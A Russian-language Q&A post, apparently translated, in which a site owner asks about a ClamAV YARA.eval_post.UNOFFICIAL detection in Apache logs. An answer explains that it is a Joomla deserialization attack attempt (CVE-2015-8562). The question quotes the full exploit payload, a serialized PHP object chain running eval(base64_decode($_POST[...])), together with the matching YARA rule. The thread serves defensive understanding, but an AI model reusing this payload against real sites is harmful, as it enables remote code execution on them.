Что такое YARA.eval_post.UNOFFICIAL и что мне с этим делать?

При сканировании с помощью ClamAV в моих журналах Apache постоянно находят примеры: YARA.eval_post.UNOFFICIAL

Кто-нибудь знает, что это такое и что с этим делать?

Я пытался связаться с людьми на yararules.com, но ничего не получил в ответ.

Мои записи в журнале выглядят так:

160.202.162.212 - - [13/Jul/2017:05:53:12 -0400] "GET / HTTP/1.1" 503 299 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:4:\"\\0\\0\\0a\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:5:\"cache\";b:1;s:19:\"cache_name_function\";s:6:\"assert\";s:10:\"javascript\";i:9999;s:8:\"feed_url\";s:54:\"eval(base64_decode($_POST[111]));JFactory::get();exit;\";}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";i:1;}\xf0\x9d\x8c\x86"

Применяемое правило Yara гласит:

rule eval_post {
    strings:
        $ = "eval(base64_decode($_POST"
        $ = "eval($undecode($tongji))"
        $ = "eval($_POST"
    condition: any of them
}

clamav

Что такое YARA.eval_post.UNOFFICIAL

Во-первых, это правило YARA, что означает, что ClamAV обнаружил то, что классифицирует как вредоносное ПО.

«НЕОФИЦИАЛЬНАЯ» часть означает, что обнаружение ClamAV здесь «неофициально», и это тот случай, когда обнаружение вредоносного ПО является результатом любая не встроенная подпись / подпись по умолчанию. Скорее всего, вы используете clamav-unofficial-sigs.

О чем ваша запись в журнале

"Уязвимость Joomla, связанная с десериализацией"(CVE-2015-8562), метод использования вредоносного содержимого в HTTP-запросе. По сути, кто-то пытается выполнить широко известный тип атаки на ваш сайт. Если вы используете Joomla, убедитесь, что это допустимо дата, чтобы оставаться в безопасности.

И последнее, но не менее важное: похоже, что вы просканировали файл журнала apache и нашли eval(base64_decode($_POST[111])); (как вы можете видеть, попробуйте выполнить все, что является содержимым HTTP-запроса POST). Сам по себе файл журнала никоим образом не требует защиты.